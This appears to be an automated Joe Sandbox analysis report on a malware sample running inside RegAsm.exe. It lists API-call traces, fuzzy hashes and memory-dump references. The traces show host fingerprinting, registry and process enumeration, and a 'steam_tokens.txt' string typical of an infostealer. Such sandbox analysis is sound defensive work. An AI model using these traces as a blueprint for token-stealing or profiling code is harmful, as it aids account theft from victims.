Associated: 0000000B.00000002.2436477084.0000000068F72000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68ee0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 46e8a569c142cb4c8e3f533c1fcd1e75ceed66a4b5f22189b431c64235a5cdd0
Instruction ID: 8970ae3d999ae8234475bd5e8719b6920aab7509de4cc908157f1db2f9d5bff0
Opcode Fuzzy Hash: 46e8a569c142cb4c8e3f533c1fcd1e75ceed66a4b5f22189b431c64235a5cdd0
Instruction Fuzzy Hash: D4F0D626C3474897CA10DF7488813BEF360EF6B214F90771AE8A466121FB6161D48382

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,00EC1508,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,00EC1508,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00EC1958,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00EC1958,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00EC1958,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00EC1958,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,00EC1428,00000000,?,00420DF4,00000000,?,00000000,00000000,?,00EC1A78,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,00EBB048,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,00EC15E8,00000000,00000000,000000FF,000000FF), ref: 0041791F

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00EC1A90,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00EC1A90,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: CreateDCA.GDI32(00EBA978,00000000,00000000,00000000), ref: 00418295
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
Part of subcall function 00418260: ReleaseDC.USER32(00000000,?), ref: 004182C2
Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417C90: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00417CF4

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,00EB64D8,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerDefaultDevicesDirectoryDisplayErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 327943442-0
Opcode ID: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EBAB18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 120a78b942200e417be762f6b949b9724b575e34ca621250f0dd76198ecdb917
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 120a78b942200e417be762f6b949b9724b575e34ca621250f0dd76198ecdb917
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
